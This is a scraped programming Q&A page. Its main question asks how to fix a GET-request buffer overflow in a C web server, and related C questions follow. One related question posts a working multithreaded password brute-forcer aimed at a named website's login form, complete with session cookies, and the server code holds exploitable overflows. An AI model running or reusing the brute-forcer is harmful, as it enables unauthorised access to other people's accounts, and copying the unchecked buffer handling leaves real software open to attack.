Fix Buffer Overflow Exploit on Web Server - c

I have a buffer overflow vulnerability in a simple webserver. It can be exploited with a http GET request. I'm having trouble figuring out how to fix it. My guess is that it has to do with: char hdrval[1024]; but I could be wrong. Can anyone else see whats wrong?
Code:
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <pthread.h>
#define _XOPEN_SOURCE
typedef struct {
char *method;
char *uri;
char *version;
char *headers;
} httpreq_t;
/* NOTE: this function is based on a function provided in the GNU "timegm" man
page. timegm is a GNU extension to time.h that returns the given tm struct as
a UNIX timestamp in GMT/UTC, rather than local time. The man page suggests a
function similar to the one below as a portable equivalent.
*/
time_t my_timegm(struct tm *tm) {
time_t ret;
char *tz;
tz = getenv("TZ");
putenv("TZ=GMT");
tzset();
ret = mktime(tm);
if (tz) {
char envstr[strlen(tz) + 4];
envstr[0] = '\0';
strcat(envstr, "TZ=");
strcat(envstr, tz);
putenv(envstr);
} else {
putenv("TZ=");
}
tzset();
return ret;
}
char *get_header(const httpreq_t *req, const char* headername) {
char *hdrptr;
char *hdrend;
char *retval = NULL;
char searchstr[strlen(headername) + 5];
strcpy(searchstr, "\r\n");
strcat(searchstr, headername);
strcat(searchstr, ": ");
if (hdrptr = strstr(req->headers, searchstr)) {
hdrptr += strlen(searchstr);
if (hdrend = strstr(hdrptr, "\r\n")) {
char hdrval[1024]; // temporary return value
memcpy((char *)hdrval, hdrptr, (hdrend - hdrptr));
hdrval[hdrend - hdrptr] = '\0'; // tack null onto end of header value
int hdrvallen = strlen(hdrval);
retval = (char *)malloc((hdrvallen + 1) * sizeof(char)); // malloc a space for retval
strcpy(retval, (char *)hdrval);
} else {
retval = (char *)malloc((strlen(hdrptr) + 1) * sizeof(char)); //
strcpy(retval, hdrptr);
}
}
return retval;
}
/* As long as str begins with a proper HTTP-Version followed by delim, returns a
pointer to the start of the version number (e.g., 1.0). Returns NULL otherwise.
*/
char *http_version_str(char *str, char *delim) {
char *vstart = strstr(str, "HTTP/");
char *vnumstart = str + 5;
char *vdot = strchr(str, '.');
char *vend = strstr(str, delim);
char *digits = "0123456789";
int majvlen = 0;
int minvlen = 0;
if (!vstart || !vdot // something's missing
|| vstart != str) // str doesn't start with "HTTP/"
return NULL;
majvlen = strspn(vnumstart, digits);
minvlen = strspn(vdot + 1, digits);
if (majvlen < 1 || (vnumstart + majvlen) != vdot // bad major version
|| minvlen < 1 || (vdot + minvlen + 1) != vend) // bad minor version
return NULL;
return vnumstart;
}
/* Fills req with the request data from datastr. Returns 0 on success.
*/
int parsereq(httpreq_t *req, char *datastr) {
char *position;
char *last_position = datastr;
char *temp_position;
int matchlen;
req->method = "";
req->uri = "";
req->version = "";
req->headers = "";
if (!(position = strchr(last_position, ' '))) {
return 1;
}
matchlen = (int)(position - last_position);
req->method = (char *)malloc((matchlen + 1) * sizeof(char));
memcpy(req->method, last_position, matchlen);
req->method[matchlen] = '\0';
last_position = position + 1;
if (!(position = strchr(last_position, ' '))
&& !(position = strstr(last_position, "\r\n"))) {
return 1;
}
// strip any query string out of the URI
if ((temp_position = strchr(last_position, '?')) && temp_position < position)
matchlen = (int)(temp_position - last_position);
else
matchlen = (int)(position - last_position);
req->uri = (char *)malloc((matchlen + 1) * sizeof(char));
memcpy(req->uri, last_position, matchlen);
req->uri[matchlen] = '\0';
if (position[0] == '\r') {
req->version = "0.9";
req->headers = "";
return 0; // simple req -- uri only
}
// If we get here, it's a full request, get the HTTP version and headers
last_position = position + 1;
if (!(position = strstr(last_position, "\r\n"))
|| !(last_position = http_version_str(last_position, "\r\n"))) {
return 1;
}
matchlen = (int)(position - last_position);
req->version = (char *)malloc((matchlen + 1) * sizeof(char));
memcpy(req->version, last_position, matchlen);
req->version[matchlen] = '\0';
last_position = position;
req->headers = (char *)malloc(strlen(last_position) * sizeof(char));
strcpy(req->headers, last_position);
return 0;
}
char *contype(char *ext) {
if (strcmp(ext, "html") == 0) return "text/html";
else if (strcmp(ext, "htm") == 0) return "text/html";
else if (strcmp(ext, "jpeg") == 0) return "image/jpeg";
else if (strcmp(ext, "jpg") == 0) return "image/jpeg";
else if (strcmp(ext, "gif") == 0) return "image/gif";
else if (strcmp(ext, "txt") == 0) return "text/plain";
else return "application/octet-stream";
}
char *status(int statcode) {
if (statcode == 200) return "200 OK";
else if (statcode == 304) return "304 Not Modified";
else if (statcode == 400) return "400 Bad Request";
else if (statcode == 403) return "403 Forbidden";
else if (statcode == 404) return "404 Not Found";
else if (statcode == 500) return "500 Internal Server Error";
else if (statcode == 501) return "501 Not Implemented";
else return "";
}
int send_response(int sockfd, httpreq_t *req, int statcode) {
int urifd;
const int BUFSIZE = 1024;
char sendmessage[BUFSIZE];
char *path = req->uri;
if (req->uri == NULL || req->method == NULL ||
req->headers == NULL || req->version == NULL) {
return 0;
}
if ((path[0] == '/') || ((strstr(path, "http://") == path)
&& (path = strchr(path + 7, '/')))) {
path += 1; // remove leading slash
if (path[0] == '\0') { // substituting in index.html for a blank URL!
path = "index.html";
} else if (path[strlen(path) - 1] == '/') {
//concatenating index.html for a /-terminated URL!
strcat(path, "index.html");
}
} else {
statcode = 400;
}
if (statcode == 200 && (urifd = open(path, O_RDONLY, 0)) < 0) {
if (errno == ENOENT || errno == ENOTDIR) { // file or directory doesn't exist
statcode = 404;
} else if (errno == EACCES) { // access denied
statcode = 403;
} else {
// some other file access problem
statcode = 500;
}
}
if (strstr(path, "..") != NULL) {
statcode = 500;
}
sendmessage[0] = '\0';
if (strcmp(req->version, "0.9") != 0) { // full request
char *ext; // file extension
time_t curtime;
char *imstime;
struct tm tm;
struct stat stbuf;
if (statcode == 200) {
if (ext = strrchr(path, '.')) ext++; // skip the '.'
else ext = "";
} else {
// errors are always html messages
ext = "html";
}
// Conditional GET
if ((strcmp(req->method, "GET") == 0)
&& (statcode == 200)
&& (imstime = get_header(req, "If-Modified-Since"))) {
// Get statistics about the requested URI from the local filesystem
if (stat(path, &stbuf) == -1) {
statcode = 500;
}
if (!strptime(imstime, "%a, %d %b %Y %H:%M:%S GMT", &tm)
&& !strptime(imstime, "%a, %d-%b-%y %H:%M:%S GMT", &tm)
&& !strptime(imstime, "%a %b %d %H:%M:%S %Y", &tm)) {
// badly formatted date
statcode = 400;
}
if (stbuf.st_mtime <= my_timegm(&tm)) {
// Not Modified
statcode = 304;
}
}
time(&curtime); // time for Date: header
strcat(sendmessage, "HTTP/1.0 ");
strcat(sendmessage, status(statcode));
strcat(sendmessage, "\r\nDate: ");
strncat(sendmessage, asctime(gmtime(&curtime)), 24);
strcat(sendmessage, "\r\nServer: Frobozz Magic Software Company Webserver v.002");
strcat(sendmessage, "\r\nConnection: close");
strcat(sendmessage, "\r\nContent-Type: ");
strcat(sendmessage, contype(ext));
strcat(sendmessage, "\r\n\r\n");
}
if (statcode != 200) {
strcat(sendmessage, "<html><head><title>");
strcat(sendmessage, status(statcode));
strcat(sendmessage, "</title></head><body><h2>HTTP/1.0</h2><h1>");
strcat(sendmessage, status(statcode));
strcat(sendmessage, "</h1><h2>URI: ");
strcat(sendmessage, path);
strcat(sendmessage, "</h2></body></html>");
}
if (sendmessage[0] != '\0') {
// send headers as long as there are headers to send
if (send(sockfd, sendmessage, strlen(sendmessage), 0) < 0) {
perror("send");
pthread_exit(NULL);
}
}
if (statcode == 200 && (strcmp(req->method, "HEAD") != 0)) {
// send the requested file as long as there's no error and the
// request wasn't just for the headers
int readbytes;
while (readbytes = read(urifd, sendmessage, BUFSIZE)) {
if (readbytes < 0) {
perror("read");
pthread_exit(NULL);
}
if (send(sockfd, sendmessage, readbytes, 0) < 0) {
perror("send");
pthread_exit(NULL);
}
}
}
}
void *data_thread(void *sockfd_ptr) {
int sockfd = *(int *) sockfd_ptr;
const int BUFSIZE = 5;
char recvmessage[BUFSIZE];
char *headerstr = NULL;
char *newheaderstr = NULL;
int recvbytes = 0;
int curheadlen = 0;
int totalheadlen = 0;
httpreq_t req;
int statcode = 200;
int done = 0;
int seen_header = 0;
char *header_end;
int content_length = 0;
char *qstr;
free(sockfd_ptr); // we have the int value out of this now
recvmessage[BUFSIZE - 1] = '\0'; // mark end of "string"
/* Read incoming client message from the socket */
while(!done && (recvbytes = recv(sockfd, recvmessage, BUFSIZE - 1, 0))) {
if (recvbytes < 0) {
perror("recv");
pthread_exit(NULL);
}
recvmessage[recvbytes] = '\0';
if (seen_header) {
// getting the entity body
content_length -= recvbytes;
if (content_length <= 0) done = 1;
} else {
newheaderstr = (char *) malloc((totalheadlen + recvbytes + 1) * sizeof(char));
newheaderstr[totalheadlen + recvbytes] = '\0';
memcpy(newheaderstr, headerstr, totalheadlen);
memcpy(newheaderstr + totalheadlen, recvmessage, recvbytes);
if (headerstr) free(headerstr);
headerstr = newheaderstr;
totalheadlen += recvbytes;
header_end = strstr(headerstr, "\r\n\r\n");
if (header_end) {
seen_header = 1;
header_end[2] = '\0';
if (parsereq(&req, headerstr) != 0) {
statcode = 400;
}
if (strcmp(req.method, "POST") == 0) {
// grab the body length
char *clenstr = get_header(&req, "Content-Length");
if (clenstr) {
content_length = atoi(clenstr) - ((headerstr + totalheadlen) - header_end - 4);
if (content_length <= 0) done = 1;
free(clenstr);
} else {
statcode = 400; // bad request -- no content length
done = 1;
}
} else {
// This isn't a POST, so there's no entity body
done = 1;
if (strcmp(req.method, "GET") != 0
&& strcmp(req.method, "HEAD") != 0) {
statcode = 501; // unknown request method
}
}
}
}
} // end of recv while loop
// used to deref a NULL pointer here... :(
if (headerstr != NULL) {
printf("%s\n", headerstr);
free(headerstr);
}
send_response(sockfd, &req, statcode);
close(sockfd);
return NULL;
}
int main(int argc, char *argv[]) {
int acc, sockfd, clen, port;
struct hostent *he;
struct sockaddr_in caddr, saddr;
if(argc <= 1) {
fprintf(stderr, "No port specified. Exiting!\n");
exit(1);
}
port = atoi(argv[1]);
/* Obtain name and address for the local host */
if((he=gethostbyname("localhost"))==NULL) {
herror("gethostbyname");
exit(1);
}
/* Open a TCP (Internet Stream) socket */
if((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("socket");
exit(1);
}
/* Create socket address structure for the local host */
memset((char *) &saddr, '\0', sizeof(saddr));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(port);
saddr.sin_addr.s_addr=htonl(INADDR_ANY);
/* Bind our local address so that the client can send to us */
if(bind(sockfd,(struct sockaddr *) &saddr,sizeof(saddr)) == -1) {
perror("bind");
exit(1);
}
if(listen(sockfd,5) < 0) {
perror("listen");
exit(1);
}
/* Infinite loop for receiving and processing client requests */
for(;;) {
clen=sizeof(caddr);
/* Wait for a connection for a client process */
acc=accept(sockfd,(struct sockaddr *) &caddr,(socklen_t*)&clen);
if(acc < 0) {
perror("accept");
exit(1);
} else {
pthread_t *thread = (pthread_t *) malloc(sizeof(pthread_t));
int *sockfd_ptr = (int *) malloc(sizeof(int));
*sockfd_ptr = acc;
pthread_create(thread, NULL, data_thread, sockfd_ptr);
}
}
return 0;
}

I guess you could have a bound check before copying to the buffer?
For example, add
if(hdrend - hdrptr >= 1024)
exit(1)
before
memcpy((char *)hdrval, hdrptr, (hdrend - hdrptr));

The segfault happens at the point below.
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7ff4b70 (LWP 3902)]
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7ff4b70 (LWP 3902)]
0x08049507 in send_response (sockfd=6, req=0xb7ff4340, statcode=200)
at server/webserver.c:219
warning: Source file is more recent than executable.
219 if (req->uri == NULL || req->method == NULL ||
The memory address is
(gdb) p $_siginfo._sifields._sigfault.si_addr
$3 = (void *) 0x69cb120
The code that needs to be rewritten is
214 int urifd;
215 const int BUFSIZE = 1024;
216 char sendmessage[BUFSIZE];
217 char *path = req->uri;
218
219 if (req->uri == NULL || req->method == NULL ||
220 req->headers == NULL || req->version == NULL) {
221 return 0;

Related

Memory leak with getline C

I am trying to parse a config file with getline but sometimes I have a memory leak and sometimes not.
#define _GNU_SOURCE
#include "parser.h"
#include <stdlib.h>
#include <string.h>
struct global parse_global(char *line, FILE *file)
{
char *log_file = NULL;
bool log = false;
char *pid_file = NULL;
size_t len;
ssize_t nread;
char *saveptr = NULL;
while ((nread = getline(&line, &len, file)) != -1
&& strcmp(line, "[[vhosts]]\n") != 0)
{
char *arg_name = strtok_r(line, " =", &saveptr);
char *arg_value = strtok_r(NULL, " =\n", &saveptr);
if (strcmp(arg_name, "log_file") == 0)
{
log_file = strdup(arg_value);
}
else if (strcmp(arg_name, "log") == 0)
{
if (strcmp(arg_value, "true") == 0)
{
log = true;
}
else
{
log = false;
}
}
else if (strcmp(arg_name, "pid_file") == 0)
{
pid_file = strdup(arg_value);
}
}
return global_init(log_file, log, pid_file);
}
struct vhost parse_vhost(char *line, FILE *file)
{
char *server_name = "my_server";
char *port = NULL;
char *ip = NULL;
char *root_dir = NULL;
char *default_file = NULL;
size_t len;
ssize_t nread;
char *saveptr = NULL;
while ((nread = getline(&line, &len, file)) != -1
&& strcmp(line, "\n") != 0)
{
char *arg_name = strtok_r(line, " =", &saveptr);
char *arg_value = strtok_r(NULL, " =\n", &saveptr);
if (strcmp(arg_name, "server_name") == 0)
{
server_name = strdup(arg_value);
}
else if (strcmp(arg_name, "port") == 0)
{
port = strdup(arg_value);
}
else if (strcmp(arg_name, "ip") == 0)
{
ip = strdup(arg_value);
}
else if (strcmp(arg_name, "root_dir") == 0)
{
root_dir = strdup(arg_value);
}
else if (strcmp(arg_name, "default_file") == 0)
{
default_file = strdup(arg_value);
}
}
return vhost_init(server_name, port, ip, root_dir, default_file);
}
void free_global(struct global g)
{
free(g.pid_file);
free(g.log_file);
}
void free_vhost(struct vhost v)
{
free(v.server_name);
free(v.port);
free(v.ip);
free(v.root_dir);
free(v.default_file);
}
struct server *fileconfig_parser(char *file)
{
FILE *f = fopen(file, "r");
if (!f)
{
perror("cannot open file");
return NULL;
}
char *line = NULL;
size_t len = 0;
ssize_t nread = getline(&line, &len, f);
if (nread == -1 || strcmp(line, "[global]\n") != 0)
{
free(line);
perror("invalid file");
fclose(f);
return NULL;
}
struct global global = parse_global(line, f);
if (global.pid_file == NULL)
{
free_global(global);
fclose(f);
free(line);
return NULL;
}
struct vhost vhost = parse_vhost(line, f);
if (vhost.server_name == NULL || vhost.port == NULL || vhost.ip == NULL
|| vhost.root_dir == NULL)
{
free_global(global);
free_vhost(vhost);
fclose(f);
free(line);
return NULL;
}
struct server *server = server_init(global, vhost);
free(line);
fclose(f);
return server;
}
The memory come from the line allocated by getline but sometimes when I run the programme there is no memory leak and I dont know why.
It seems to me that I free line in every cases.
I also don’t know why it happened randomly.
=================================================================
==1561==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 120 byte(s) in 1 object(s) allocated from:
#0 0x7fad2918a808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x7fad28f0e543 in _IO_getdelim /build/glibc-SzIz7B/glibc-2.31/libio/iogetdelim.c:62
#2 0x7ffde0365e1f ([stack]+0x1ee1f)
SUMMARY: AddressSanitizer: 120 byte(s) leaked in 1 allocation(s).

How to Parse an AT command response and one among the fields from the output in C

Im trying to capture the data from the AT command response but im unable to do so.
My Approach.
functions():
#define MAX_LINE_LENGTH (8 * 1024)
static char buf[MAX_LINE_LENGTH];
static char buf2[MAX_LINE_LENGTH];
static bool tr_lf_cr(const char *s)
{
char *p;
p = strchr(s, '\n');
if (p == NULL || p[1] != '\0') {
return false;
}
*p = '\r';
return true;
}
static void strip_cr(char *s)
{
char *from, *to;
from = to = s;
while (*from != '\0') {
if (*from == '\r') {
from++;
continue;
}
*to++ = *from++;
}
*to = '\0';
}
#define STARTS_WITH(a, b) ( strncmp((a), (b), strlen(b)) == 0)
main()
fd = fopen(*mp, "r+b");
if (fd == NULL) {
/* Could not open the port. */
perror("open_port: Unable to open /dev/ttyUSB0\n");
}
char str = '\n';
strncat(cmd, &str, 1);
success = tr_lf_cr(cmd);
if (! success) {
fprintf(stderr, "invalid string: '%s'\n", cmd);
return EXIT_FAILURE;
}
int res = fputs(cmd, fd);
if (res < 0) {
fprintf(stderr, "failed to send '%s' to modem (res = %d)\n", cmd, res);
return EXIT_FAILURE;
}
do {
line = fgets(buf, (int)sizeof(buf), fd);
if (line == NULL) {
fprintf(stderr, "EOF from modem\n");
return EXIT_FAILURE;
}
strcpy(buf2, line);
strip_cr(buf2);
char delim[] = ",";
char *ptr = strtok(buf2, delim);
printf("\n0++++++++++++++++++++\n");
while (ptr != NULL) {
printf("'%s'\n", ptr);
ptr = strtok(NULL, delim);
}
printf("\n1********************\n");
} while (STARTS_WITH(line, "OK") == 0);
I get the following output when i run this command AT^HCSQ?
0++++++++++++++++++++
'AT^HCSQ?
'
0++++++++++++++++++++
'^HCSQ: "WCDMA"'
'64'
'64'
'60'
'0
'
0++++++++++++++++++++
'
'
0++++++++++++++++++++
'OK
'
What i want to achieve is to store each value separately from the buffer like
char p = WCDMA;
int rssi = atoi[ptr];
[etc...]
Im using strtok() to achieve this but im unable to skip the empty lines i get from the response. What should i do here?

OpenSSL C Multi-Threaded Client Segmentation Fault

I have a problem with one of my multi-threaded client, this is the full code, it is basically a bruteforcer:
#include <unistd.h>
#include <sys/types.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#define N 10
#define EXT ".txt"
#define BUFFER_SIZE 1024000
//#define CA_DIR "/home/Scrivania/SRBF/mycert"
#define SIZE 67
char * letters[SIZE] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z",
"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
".","_","1","2","3","4","5","6","7","8","9","0","!","#","$"};
char * word4[] = {"A","A","A","A"};
int isMatch(char * buffer)
{
if(buffer == NULL)
{
return 0;
}
strtok(buffer, " ");
char * tok = strtok(NULL," ");
if(tok == NULL)
{
return 0;
}
if(strcmp(tok, "302") == 0)
{
return 1;
}
return 0;
}
void init_openssl()
{
SSLeay_add_ssl_algorithms();
SSL_load_error_strings();
SSL_library_init();
ERR_load_BIO_strings();
OpenSSL_add_all_algorithms();
}
BIO * connect_encrypted(char * host_and_port, SSL_CTX** ctx, SSL ** ssl)
{
BIO * bio = NULL;
*ctx = SSL_CTX_new(TLS_client_method());
*ssl = NULL;
/* int r = 0;
r = SSL_CTX_load_verify_locations(*ctx, NULL , CA_DIR);
if(r == 0)
{
return NULL;
}*/
bio = BIO_new_ssl_connect(*ctx);
BIO_get_ssl(bio, ssl);
SSL_set_mode(*ssl, SSL_MODE_AUTO_RETRY);
BIO_set_conn_hostname(bio, host_and_port);
if(BIO_do_connect(bio)< 1)
{
fprintf(stderr,"Unable to connect BIO. %s", host_and_port);
return NULL;
}
return bio;
}
int write_to_stream(BIO* bio, char * buffer, ssize_t length)
{
ssize_t r = -1;
while(r <= 0)
{
r = BIO_write(bio, buffer, length);
}
return r;
}
ssize_t read_from_stream(BIO * bio, char * buffer, ssize_t length)
{
ssize_t r = -1;
while(r <= 0)
{
r = BIO_read(bio, buffer, length);
}
return r;
}
char * username;
char * usrp;
char * pwdp;
char * uri;
void SendRequest(char * word)
{
char * host_and_port = "site.com:443";
char * server_request = malloc(sizeof(char)*BUFFER_SIZE);
char * buffer = malloc(sizeof(char)*BUFFER_SIZE);
int r = 0;
int r2 = 0;
sprintf(server_request, "POST %s HTTP/1.1\r\n"
"Host: www.annunci69.it\r\n"
"Cookie:__cfduid=d559ac43d2cc4e294b93e14699ab4f0071544273037; PHPSESSID=qjjrvg2j6nq2babbn1am3itac5; A69_regione=Sicilia; Doublech=1956935; A69_becomeavip=1; A69_onlinetimes=2; A69_tipsMASTER=1; A69_tips[listabannati]=listabannati; getgeo=1\r\n"
"User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 44\r\n"
"Connection: close\r\n"
"\r\n"
"%s=%s&%s=%s&login=Entra", uri, usrp, username, pwdp, word);
BIO * bio;
SSL_CTX * ctx = NULL;
SSL * ssl = NULL;
if ((bio = connect_encrypted(host_and_port, &ctx, &ssl)) == NULL)
{
fprintf(stderr, "Error in connect\n");
exit(EXIT_FAILURE);
}
while(r <= 0)
{
r = write_to_stream(bio, server_request, strlen(server_request));
}
while(r2 <= 0)
{
r2 = read_from_stream(bio, buffer, BUFFER_SIZE);
}
SSL_CTX_free(ctx);
free(server_request);
if(isMatch(buffer) == 1)
{
printf("Password -> %s", word);
exit(EXIT_SUCCESS);
}
free(buffer);
}
_Bool passaggio1(char * word[], int n)
{
for(int i = 0; i < SIZE; i++)
{
for(int j = 0, c = 0; j < n; j++)
{
if(word[j] == letters[i])
{
c++;
if(c > 3)
{
return 1;
}
}
}
}
return 0;
}
char *lastword[12];
_Bool passaggio2(char *word[], int n)
{
int count = 0;
for(int i = 0; i <= n; i++)
{
if(lastword[i] == word[i])
{
count++;
}
}
if(count > n-2)
{
return 1;
}
return 0;
}
int Write(char * word[], char * buffer, int n)
{
if(passaggio1(word, n) == 1 || passaggio2(word, n) == 1)
{
return 1;
}
for(int i = 0; i <= n; i++)
{
if(i == 0)
{
strcpy(buffer,word[i]);
}
strcat(buffer, word[i]);
lastword[i] = word[i];
}
return 0;
}
void four_Digits(char * word[], char * letters[])
{
for(int i = 0; i < SIZE; i++)
{
word[0] = letters[i];
for(int j = 0; j < SIZE ;j++)
{
word[1] = letters[j];
for(int k = 0; k < SIZE; k++)
{
word[2] = letters[k];
for(int l = 0; l < SIZE;l++)
{
word[3] = letters[l];
char * buffer = malloc(sizeof(char)*64);
if((Write(word, buffer, 3)) == 0)
{
printf("Trying: %s\n", buffer);
SendRequest(buffer);
}
free(buffer);
}
}
}
}
}
void * handler1(void * args)
{
four_Digits(word4, letters);
pthread_exit(0);
}
int main(int argc, char * argv[])
{/*
if(argc < 2)
{
fprintf(stderr ,"\nUsage: srbf username \n");
exit(EXIT_FAILURE);
}*/
username = "username"; //argv[1];
uri = malloc(sizeof(char)*32);
usrp = malloc(sizeof(char)*16);
pwdp = malloc(sizeof(char)*16);
printf("Insert URI\n");
scanf("%s", uri);
printf("Insert username parameter\n");
scanf("%s", usrp);
printf("Insert password parameter\n");
scanf("%s", pwdp);
int res;
pthread_t tid;
init_openssl();
res = pthread_create(&tid,NULL, handler1,0);
if(res != 0)
{
fprintf(stderr,"Thread Creation Failed\n");
exit(EXIT_FAILURE);
}
res = pthread_join(tid, 0);
if(res != 0)
{
fprintf(stderr, "Thread join failed\n");
exit(EXIT_FAILURE);
}
free(uri);
free(usrp);
free(pwdp);
exit(EXIT_SUCCESS);
}
when i do gdb main the program keeps running normally for some seconds, then i get segmentation fault with this error:
Thread 10 "main" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffedffb700 (LWP 13328)]
0x00007ffff71628e0 in __GI__IO_fwrite (buf=0x5555555585ff, size=1, count=17,
fp=0x55555555834e) at iofwrite.c:37
37 iofwrite.c: File or directory not existing.
Then i type the command bt and this is what i get:
#0 0x00007ffff71628e0 in __GI__IO_fwrite (buf=0x5555555585ff, size=1,
count=17, fp=0x55555555834e) at iofwrite.c:37
#1 0x0000555555556127 in SendRequest ()
#2 0x00005555555569cd in twelve_Digits ()
#3 0x0000555555557d43 in handler9 ()
#4 0x00007ffff74db6db in start_thread (arg=0x7fffedffb700)
at pthread_create.c:463
#5 0x00007ffff720488f in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
I posted the full code cause i'm really confused and i can't understand this error, can someone pls help me? Is it related to OpenSSL? What do i need to change? I will provide more informations if necessary.
You have lots of undefined behaviour.
Just an example:
Your function seven_Digits accesses 7 elements of the array passed as first parameter.
But you pass only an array with 4 strings:
char * word4[] = {"A","A","A","A"};
...
seven_Digits(word4, letters);
This is an out of bounds access causing undefined bahaviour.
Similar behaviour for other handlers calling other functions with same array.
if you use openssl with multithread you must deal with criticialsections.
declare some global variables
int number_of_locks = 0;
ssl_lock *ssl_locks = nullptr;
get the number of locks with CRYPTO_num_locks()
number_of_locks = CRYPTO_num_locks();
if(number_of_locks > 0)
{
ssl_locks = (ssl_lock*)malloc(number_of_locks * sizeof(ssl_lock));
for(int n = 0; n < number_of_locks; ++n)
InitializeCriticalSection(&ssl_locks[n]);
}
initialize callbacks functions names
CRYPTO_set_locking_callback(&ssl_lock_callback);
CRYPTO_set_dynlock_create_callback(&ssl_lock_dyn_create_callback);
CRYPTO_set_dynlock_lock_callback(&ssl_lock_dyn_callback);
CRYPTO_set_dynlock_destroy_callback(&ssl_lock_dyn_destroy_callback);
implement them
void ssl_lock_callback(int mode, int n, const char *file, int line)
{
if(mode & CRYPTO_LOCK)
EnterCriticalSection(&ssl_locks[n]);
else
LeaveCriticalSection(&ssl_locks[n]);
}
CRYPTO_dynlock_value* ssl_lock_dyn_create_callback(const char *file, int line)
{
CRYPTO_dynlock_value *l = (CRYPTO_dynlock_value*)malloc(sizeof(CRYPTO_dynlock_value));
InitializeCriticalSection(&l->lock);
return l;
}
void ssl_lock_dyn_callback(int mode, CRYPTO_dynlock_value* l, const char *file, int line)
{
if(mode & CRYPTO_LOCK)
EnterCriticalSection(&l->lock);
else
LeaveCriticalSection(&l->lock);
}
void ssl_lock_dyn_destroy_callback(CRYPTO_dynlock_value* l, const char *file, int line)
{
DeleteCriticalSection(&l->lock);
free(l);
}

Access body of PUT or POST request using FastCGI in C

I'm facing some issues trying to get my body content in my monkey server.
In fact, I don't really know how to access my data using fastcgi library functions.
I'm sending with Postman a PUT request on http://my.server.address:myport/cgi/something
with the following JSON content:
{ "hello" : "bonjour" }
On the server side
running on the main thread :
int32_t SWEB_traiter_requette_f(int32_t i32_socket_listen) {
FCGX_Request st_request;
(void)FCGX_InitRequest(&st_request, i32_socket_listen, 0);
if (FCGX_Accept_r(&st_request) == 0) {
ULOG_log_f(ULOG_PRIO_INFO, "accepting request");
(void)pthread_mutex_lock(gpu_mutex_s_web);
traiter_requette_s_web_f(&st_request,FCGX_GetParam("REQUEST_URI", st_request.envp));
(void)pthread_mutex_unlock(gpu_mutex_s_web);
(void)FCGX_Finish_r(&st_request);
}
FCGX_Free(&st_request,i32_socket_listen);
return 0;
}
And this is how I handle the request :
static void traiter_requette_s_web_f(FCGX_Request *pst_request,const char * pc_url) {
size_t z_len;
char_t *pc_data;
int i = 0;
int ch;
char_t *sz_content_len = FCGX_GetParam("CONTENT_LENGTH" , pst_request->envp);
char_t *sz_method = FCGX_GetParam("REQUEST_METHOD" , pst_request->envp);
char_t *sz_contenttype = FCGX_GetParam("CONTENT_TYPE" , pst_request->envp);
if (sz_contenttype != NULL){
/* first method ..... not working */
ch = FCGX_GetChar(pst_request->in);
while(ch != -1){
i++;
z_len = strtol(sz_content_len, NULL, 10);
pc_data = calloc(1,z_len+1);
if (pc_data == NULL){
//LCOV_EXCL_START
ULOG_log_f(ULOG_PRIO_ERREUR, "Erreur d'allocation de psz_data");
return;
//LCOV_EXCL_STOP
}
pc_data[i-1] = (char_t) ch;
ch = FCGX_GetChar(pst_request->in);
if (ch == -1 )
{
pc_data=(char*)realloc(pc_data,(i + 1)*sizeof(char));
pc_data[i] = '\0';
}
}
printf("data !! : %s\n",pc_data);
/* second method .... not working */
z_len = strtol(sz_content_len, NULL, 10);
pc_data = calloc(1,z_len+1);
if (pc_data == NULL){
//LCOV_EXCL_START
ULOG_log_f(ULOG_PRIO_ERREUR, "Erreur d'allocation de psz_data");
return;
//LCOV_EXCL_STOP
}
(void)FCGX_GetStr(pc_data,z_len,pst_request->in);
printf("data !! : %s\n",pc_data);
}
}
Maybe I'm doing something wrong with pc_data and this is not how to access the body.
How can I access the body of my request?
It seems that my code was leaking.
This is how you get the body content on a POST request :
static void traiter_requette_s_web_f(FCGX_Request *pst_request,const char * pc_url) {
size_t z_len;
int i = 0;
int ch;
char_t *sz_content_len = FCGX_GetParam("CONTENT_LENGTH" , pst_request->envp);
char_t *sz_method = FCGX_GetParam("REQUEST_METHOD" , pst_request->envp);
char_t *sz_contenttype = FCGX_GetParam("CONTENT_TYPE" , pst_request->envp);
char_t *pc_data = FCGX_GetParam("REQUEST_URI", pst_request->envp);
if (sz_contenttype != NULL)
{
z_len = strtol(sz_content_len, NULL, 10);
pc_data = calloc(1,z_len+1);
if (pc_data == NULL){
return;
}
ch = FCGX_GetChar(pst_request->in);
while(ch != -1){
i++;
pc_data[i-1] = (char_t) ch;
ch = FCGX_GetChar(pst_request->in);
if (ch == -1 )
{
pc_data=(char*)realloc(pc_data,(i + 1)*sizeof(char));
pc_data[i] = '\0';
}
}
printf("data !! : %s\n",pc_data);
}
}
According to https://fossies.org/dox/FCGI-0.78/ you can read body content on a POST request
#define DATA_READ_CHUNK 81912
void read_payload(size_t content_length, std::string&str) {
size_t read_length = 0;
size_t len = 0;
//DATA_READ_CHUNK should be 8192 according to FCGX_Accept_r(FCGX_Request *reqDataPtr) line 2154 file fcgiapp.c
while (true) {
char* buff;
if (content_length > DATA_READ_CHUNK) {
buff = (char*)malloc(DATA_READ_CHUNK + 1);
len = DATA_READ_CHUNK;
}
else {
buff = (char*)malloc(content_length + 1);
len = content_length;
}
buff[len] = '\0';
std::cin.read(buff, len);
str.append(buff, len);
free(buff);
content_length -= len;
